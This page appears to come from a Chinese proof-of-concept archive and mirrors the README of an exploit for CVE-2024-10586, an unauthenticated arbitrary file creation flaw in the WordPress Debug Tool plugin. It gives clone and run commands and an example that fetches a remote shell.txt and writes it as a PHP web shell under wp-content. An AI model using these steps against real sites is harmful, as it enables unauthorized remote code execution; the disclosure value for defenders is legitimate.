关联漏洞
标题:
WordPress plugin Debug Tool 安全漏洞
(CVE-2024-10586)
描述:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Debug Tool 2.2版本及之前版本存在安全漏洞,该漏洞源于缺少对dbt_pull_image函数的功能检查。
介绍
# Vulnerability Information
Description
The Debug Tool plugin for WordPress is vulnerable to arbitrary file creation due to a missing capability check on the `dbt_pull_image()` function and missing file type validation in all versions up to, and including, 2.2.
This makes it possible for unauthenticated attackers to create arbitrary files such as `.php` files that can be leveraged for remote code execution.
## CVE ID
CVE-2024-10586
## Script Usage
### Prerequisites
- Python 3.x installed on your system.
- Install required dependencies:
pip install requests
## How to Run
1. Clone the repository from [GitHub](https://github.com/Nxploited/CVE-2024-10586-Poc):
```bash
git clone https://github.com/Nxploited/CVE-2024-10586-Poc
cd CVE-2024-10586-Poc
```
2. Run the script with the following command:
python CVE-2024-10586.py -u <WordPress URL> -r <Remote File URL> -p <Optional Shell Path>
## Parameters
- -u, --url: The base URL of the WordPress site (e.g., http://example.com/wordpress).
- -r, --remote: The URL of the remote file to be used as the payload source.
- -p, --path: Optional. The path where the shell will be saved. Defaults to /opt/lampp/htdocs/wordpress/wp-content/Nxploit.php.
### Example Command
```
python CVE-2024-10586.py -u http://192.168.100.74/wordpress -r http://192.168.100.74/shell.txt -p /opt/lampp/htdocs/wordpress/wp-content/shell.php
```
### Example Usage
```
python CVE-2024-10586.py -u http://192.168.100.74/wordpress -r http://192.168.100.74/shell.txt -p /opt/lampp/htdocs/wordpress/wp-content/shell.php
usage: CVE-2024-10586.py [-h] -u URL -r REMOTE [-p PATH]
Send a POST request to WordPress admin-ajax.php.
options:
-h, --help show this help message and exit
-u URL, --url URL The base URL of the WordPress site.
-r REMOTE, --remote REMOTE
The remote URL to use in the 'source' parameter.
-p PATH, --path PATH The file path to use in the 'missed' parameter. Defaults to '/opt/lampp/htdocs/wordpress/wp-content/Nxploit.php'.
```
### Disclaimer
This script is for educational purposes only. Use it responsibly and only on systems you own or have explicit permission to test. The authors are not responsible for any misuse or damage caused by this tool.
文件快照
[4.0K] /data/pocs/6f6c397426f7a1f4105c4da30a3e798058967509
├── [4.8K] CVE-2024-10586.py
└── [2.2K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。